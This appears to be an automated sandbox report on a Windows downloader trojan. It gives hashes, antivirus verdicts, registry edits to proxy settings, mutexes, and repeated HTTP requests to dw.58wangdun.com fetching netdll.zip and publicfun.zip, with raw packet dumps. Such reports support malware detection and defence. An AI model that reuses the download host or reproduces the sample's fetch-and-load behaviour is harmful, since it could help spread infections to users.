Analysis Date2015-01-27 06:13:43
MD53540fa2013270d4eb41329263b46286d
SHA1e6a263ae9350d74576599dca48200e8c0a583e21

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 099140dff7e913fdf04400230fe043ec sha1: 7ee910ebde9fb1b092821254df1b1620845ff4c9 size: 176640
Section.rdata md5: dfaac31e853fccaf277bc229977e81f8 sha1: ed68f87621f71de09e99a2f4f3a49f30abdca33a size: 53248
Section.data md5: 99a12296ffe88ccd7627f1eff4d61cef sha1: 13900cfeff4a586677be01982b2ce8ee5c0fd3d8 size: 43520
Section.rsrc md5: 71e5ba1b8c8c82bc5f06dbca83ee5f0e sha1: aa20157785b4a058aa1f8c057ec96c2c40114f4a size: 25088
Section.reloc md5: 731f08d1f7712802805ec96cb70fd617 sha1: cd64cd90ce035a08b5bb4753ed9cc58af0fddbc1 size: 22528
Timestamp2014-10-01 15:57:44
Pdb pathD:\OutMyFile\分割后\DownDLLGoto.pdb
VersionLegalCopyright: Copyright (C) V 2014
ProductVersion: 14, 10, 1, 3
ProductName: 应用程序
FileVersion: 14, 10, 1, 3
FileDescription: 应用程序
PackerMicrosoft Visual C++ ?.?
PEhashedcf0a268096f54a52dab858f40d3c2f554f4316
IMPhash347e9b9cfcbffe2b13d4ee2f47e5caf8
AV360 Safeno_virus
AVAd-AwareGen:Variant.Graftor.153111
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVArcabit (arcavir)Gen:Variant.Graftor.153111
AVAuthentiumW32/Trojan.CKED-2708
AVAvira (antivir)TR/Graftor.153111
AVBullGuardGen:Variant.Graftor.153111
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)no_virus
AVClamAVno_virus
AVDr. Webno_virus
AVEmsisoftGen:Variant.Graftor.153111
AVEset (nod32)Win32/Sfuzuan.G
AVFortinetW32/Sfuzuan.FF!tr
AVFrisk (f-prot)no_virus
AVF-SecureGen:Variant.Graftor.153111
AVGrisoft (avg)no_virus
AVIkarusTrojan.Win32.Sfuzuan
AVK7Trojan ( 0049b4671 )
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesno_virus
AVMcafeeRDN/Generic.dx!dhw
AVMicrosoft Security Essentialsno_virus
AVMicroWorld (escan)Gen:Variant.Graftor.153111
AVRisingno_virus
AVSophosno_virus
AVSymantecno_virus
AVTrend Microno_virus
AVVirusBlokAda (vba32)no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FileC:\malware.exe223ed.zpp
Creates FileC:\malware.exe123ee.zpp
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates Mutexmainx_0003
Creates Mutexrrtt5328
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Winsock DNSdw.58wangdun.com

Network Details:

DNSc06.i06.arnic.hadns.net
Type: A
183.61.10.249
DNSc06.i06.arnic.hadns.net
Type: A
183.57.148.246
DNSdw.58wangdun.com
Type: A
HTTP GEThttp://dw.58wangdun.com/sf3/netdll.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/publicfun.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/netdll.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/publicfun.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/netdll.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/publicfun.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/netdll.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/publicfun.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/netdll.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/publicfun.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/netdll.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/publicfun.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/netdll.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/publicfun.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/netdll.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/publicfun.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/netdll.zip
User-Agent: MSDN Read
HTTP GEThttp://dw.58wangdun.com/sf3/publicfun.zip
User-Agent: MSDN Read
Flows TCP192.168.1.1:1031 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1032 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1033 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1034 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1035 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1036 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1037 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1038 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1039 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1040 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1041 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1042 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1043 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1044 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1045 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1046 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1047 ➝ 183.61.10.249:80
Flows TCP192.168.1.1:1048 ➝ 183.61.10.249:80

Raw Pcap
0x00000000 (00000)   47455420 2f736633 2f6e6574 646c6c2e   GET /sf3/netdll.
0x00000010 (00016)   7a697020 48545450 2f312e31 0d0a5573   zip HTTP/1.1..Us
0x00000020 (00032)   65722d41 67656e74 3a204d53 444e2052   er-Agent: MSDN R
0x00000030 (00048)   6561640d 0a486f73 743a2064 772e3538   ead..Host: dw.58
0x00000040 (00064)   77616e67 64756e2e 636f6d0d 0a436163   wangdun.com..Cac
0x00000050 (00080)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000060 (00096)   61636865 0d0a0d0a                     ache....

0x00000000 (00000)   47455420 2f736633 2f707562 6c696366   GET /sf3/publicf
0x00000010 (00016)   756e2e7a 69702048 5454502f 312e310d   un.zip HTTP/1.1.
0x00000020 (00032)   0a557365 722d4167 656e743a 204d5344   .User-Agent: MSD
0x00000030 (00048)   4e205265 61640d0a 486f7374 3a206477   N Read..Host: dw
0x00000040 (00064)   2e353877 616e6764 756e2e63 6f6d0d0a   .58wangdun.com..
0x00000050 (00080)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000060 (00096)   6f2d6361 6368650d 0a0d0a              o-cache....

0x00000000 (00000)   47455420 2f736633 2f6e6574 646c6c2e   GET /sf3/netdll.
0x00000010 (00016)   7a697020 48545450 2f312e31 0d0a5573   zip HTTP/1.1..Us
0x00000020 (00032)   65722d41 67656e74 3a204d53 444e2052   er-Agent: MSDN R
0x00000030 (00048)   6561640d 0a486f73 743a2064 772e3538   ead..Host: dw.58
0x00000040 (00064)   77616e67 64756e2e 636f6d0d 0a436163   wangdun.com..Cac
0x00000050 (00080)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000060 (00096)   61636865 0d0a0d0a 50bddf              ache....P..

0x00000000 (00000)   47455420 2f736633 2f707562 6c696366   GET /sf3/publicf
0x00000010 (00016)   756e2e7a 69702048 5454502f 312e310d   un.zip HTTP/1.1.
0x00000020 (00032)   0a557365 722d4167 656e743a 204d5344   .User-Agent: MSD
0x00000030 (00048)   4e205265 61640d0a 486f7374 3a206477   N Read..Host: dw
0x00000040 (00064)   2e353877 616e6764 756e2e63 6f6d0d0a   .58wangdun.com..
0x00000050 (00080)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000060 (00096)   6f2d6361 6368650d 0a0d0a              o-cache....

0x00000000 (00000)   47455420 2f736633 2f6e6574 646c6c2e   GET /sf3/netdll.
0x00000010 (00016)   7a697020 48545450 2f312e31 0d0a5573   zip HTTP/1.1..Us
0x00000020 (00032)   65722d41 67656e74 3a204d53 444e2052   er-Agent: MSDN R
0x00000030 (00048)   6561640d 0a486f73 743a2064 772e3538   ead..Host: dw.58
0x00000040 (00064)   77616e67 64756e2e 636f6d0d 0a436163   wangdun.com..Cac
0x00000050 (00080)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000060 (00096)   61636865 0d0a0d0a 50bddf              ache....P..

0x00000000 (00000)   47455420 2f736633 2f707562 6c696366   GET /sf3/publicf
0x00000010 (00016)   756e2e7a 69702048 5454502f 312e310d   un.zip HTTP/1.1.
0x00000020 (00032)   0a557365 722d4167 656e743a 204d5344   .User-Agent: MSD
0x00000030 (00048)   4e205265 61640d0a 486f7374 3a206477   N Read..Host: dw
0x00000040 (00064)   2e353877 616e6764 756e2e63 6f6d0d0a   .58wangdun.com..
0x00000050 (00080)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000060 (00096)   6f2d6361 6368650d 0a0d0a              o-cache....

0x00000000 (00000)   47455420 2f736633 2f6e6574 646c6c2e   GET /sf3/netdll.
0x00000010 (00016)   7a697020 48545450 2f312e31 0d0a5573   zip HTTP/1.1..Us
0x00000020 (00032)   65722d41 67656e74 3a204d53 444e2052   er-Agent: MSDN R
0x00000030 (00048)   6561640d 0a486f73 743a2064 772e3538   ead..Host: dw.58
0x00000040 (00064)   77616e67 64756e2e 636f6d0d 0a436163   wangdun.com..Cac
0x00000050 (00080)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000060 (00096)   61636865 0d0a0d0a 2c203237 204a616e   ache...., 27 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f736633 2f707562 6c696366   GET /sf3/publicf
0x00000010 (00016)   756e2e7a 69702048 5454502f 312e310d   un.zip HTTP/1.1.
0x00000020 (00032)   0a557365 722d4167 656e743a 204d5344   .User-Agent: MSD
0x00000030 (00048)   4e205265 61640d0a 486f7374 3a206477   N Read..Host: dw
0x00000040 (00064)   2e353877 616e6764 756e2e63 6f6d0d0a   .58wangdun.com..
0x00000050 (00080)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000060 (00096)   6f2d6361 6368650d 0a0d0a              o-cache....

0x00000000 (00000)   47455420 2f736633 2f6e6574 646c6c2e   GET /sf3/netdll.
0x00000010 (00016)   7a697020 48545450 2f312e31 0d0a5573   zip HTTP/1.1..Us
0x00000020 (00032)   65722d41 67656e74 3a204d53 444e2052   er-Agent: MSDN R
0x00000030 (00048)   6561640d 0a486f73 743a2064 772e3538   ead..Host: dw.58
0x00000040 (00064)   77616e67 64756e2e 636f6d0d 0a436163   wangdun.com..Cac
0x00000050 (00080)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000060 (00096)   61636865 0d0a0d0a 2c203237 204a616e   ache...., 27 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f736633 2f707562 6c696366   GET /sf3/publicf
0x00000010 (00016)   756e2e7a 69702048 5454502f 312e310d   un.zip HTTP/1.1.
0x00000020 (00032)   0a557365 722d4167 656e743a 204d5344   .User-Agent: MSD
0x00000030 (00048)   4e205265 61640d0a 486f7374 3a206477   N Read..Host: dw
0x00000040 (00064)   2e353877 616e6764 756e2e63 6f6d0d0a   .58wangdun.com..
0x00000050 (00080)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000060 (00096)   6f2d6361 6368650d 0a0d0a37 204a616e   o-cache....7 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f736633 2f6e6574 646c6c2e   GET /sf3/netdll.
0x00000010 (00016)   7a697020 48545450 2f312e31 0d0a5573   zip HTTP/1.1..Us
0x00000020 (00032)   65722d41 67656e74 3a204d53 444e2052   er-Agent: MSDN R
0x00000030 (00048)   6561640d 0a486f73 743a2064 772e3538   ead..Host: dw.58
0x00000040 (00064)   77616e67 64756e2e 636f6d0d 0a436163   wangdun.com..Cac
0x00000050 (00080)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000060 (00096)   61636865 0d0a0d0a 0a0d0a37 204a616e   ache.......7 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f736633 2f707562 6c696366   GET /sf3/publicf
0x00000010 (00016)   756e2e7a 69702048 5454502f 312e310d   un.zip HTTP/1.1.
0x00000020 (00032)   0a557365 722d4167 656e743a 204d5344   .User-Agent: MSD
0x00000030 (00048)   4e205265 61640d0a 486f7374 3a206477   N Read..Host: dw
0x00000040 (00064)   2e353877 616e6764 756e2e63 6f6d0d0a   .58wangdun.com..
0x00000050 (00080)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000060 (00096)   6f2d6361 6368650d 0a0d0a37 204a616e   o-cache....7 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f736633 2f6e6574 646c6c2e   GET /sf3/netdll.
0x00000010 (00016)   7a697020 48545450 2f312e31 0d0a5573   zip HTTP/1.1..Us
0x00000020 (00032)   65722d41 67656e74 3a204d53 444e2052   er-Agent: MSDN R
0x00000030 (00048)   6561640d 0a486f73 743a2064 772e3538   ead..Host: dw.58
0x00000040 (00064)   77616e67 64756e2e 636f6d0d 0a436163   wangdun.com..Cac
0x00000050 (00080)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000060 (00096)   61636865 0d0a0d0a 0a0d0a37 204a616e   ache.......7 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f736633 2f707562 6c696366   GET /sf3/publicf
0x00000010 (00016)   756e2e7a 69702048 5454502f 312e310d   un.zip HTTP/1.1.
0x00000020 (00032)   0a557365 722d4167 656e743a 204d5344   .User-Agent: MSD
0x00000030 (00048)   4e205265 61640d0a 486f7374 3a206477   N Read..Host: dw
0x00000040 (00064)   2e353877 616e6764 756e2e63 6f6d0d0a   .58wangdun.com..
0x00000050 (00080)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000060 (00096)   6f2d6361 6368650d 0a0d0a37 204a616e   o-cache....7 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f736633 2f6e6574 646c6c2e   GET /sf3/netdll.
0x00000010 (00016)   7a697020 48545450 2f312e31 0d0a5573   zip HTTP/1.1..Us
0x00000020 (00032)   65722d41 67656e74 3a204d53 444e2052   er-Agent: MSDN R
0x00000030 (00048)   6561640d 0a486f73 743a2064 772e3538   ead..Host: dw.58
0x00000040 (00064)   77616e67 64756e2e 636f6d0d 0a436163   wangdun.com..Cac
0x00000050 (00080)   68652d43 6f6e7472 6f6c3a20 6e6f2d63   he-Control: no-c
0x00000060 (00096)   61636865 0d0a0d0a 0a0d0a37 204a616e   ache.......7 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f736633 2f707562 6c696366   GET /sf3/publicf
0x00000010 (00016)   756e2e7a 69702048 5454502f 312e310d   un.zip HTTP/1.1.
0x00000020 (00032)   0a557365 722d4167 656e743a 204d5344   .User-Agent: MSD
0x00000030 (00048)   4e205265 61640d0a 486f7374 3a206477   N Read..Host: dw
0x00000040 (00064)   2e353877 616e6764 756e2e63 6f6d0d0a   .58wangdun.com..
0x00000050 (00080)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000060 (00096)   6f2d6361 6368650d 0a0d0a37 204a616e   o-cache....7 Jan
0x00000070 (00112)   20323031 35203036 3a31373a 30392047    2015 06:17:09 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
